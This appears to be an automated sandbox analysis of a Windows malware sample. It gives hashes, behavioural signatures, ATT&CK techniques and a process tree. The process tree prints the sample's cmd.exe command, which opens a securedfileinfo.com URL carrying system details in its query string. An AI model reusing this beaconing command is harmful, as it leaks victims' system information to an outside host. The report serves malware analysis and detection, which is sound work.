1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264

Analysis

max time kernel
151s
max time network
168s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2022, 15:44

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General

Target

1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264.exe
Size

149KB
MD5

4ad44d23575a3c551c379c35ca07ae34
SHA1

86c734b6a759ebfd5594581a504f5234a2d14b5c
SHA256

1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264
SHA512

075b546a7a1032ecff78741298b884b569c8790277620f5fd498a875ba6a0c1679007af355dfa144e0b2dc88f8d7e188aa156789876faf58070b8c3b2378e173
SSDEEP

1536:Q9FX/kSS8Rr3/9ph8vVS22oCJIY0meA1SNxbJY2J+7jQ21nV2m:gkSS2hbJI/NxbJY2J+7jQ21nwm

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1528	1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1528	1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1528 wrote to memory of 4340	1528	1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264.exe	96
PID 1528 wrote to memory of 4340	1528	1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264.exe	96
PID 1528 wrote to memory of 4340	1528	1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264.exe	96
PID 4340 wrote to memory of 4628	4340	cmd.exe	100
PID 4340 wrote to memory of 4628	4340	cmd.exe	100
PID 4628 wrote to memory of 1780	4628	msedge.exe	104
PID 4628 wrote to memory of 1780	4628	msedge.exe	104

C:\Users\Admin\AppData\Local\Temp\1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264.exe
"C:\Users\Admin\AppData\Local\Temp\1aa826c04f33960f5dcc6ad0e980b1b0cd9b8da0c07e5c09e3f47d561fbb7264.exe"
1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5300031^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt53^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5300031&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt53|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff9c67246f8,0x7ff9c6724708,0x7ff9c6724718
      4⤵
      PID:1780

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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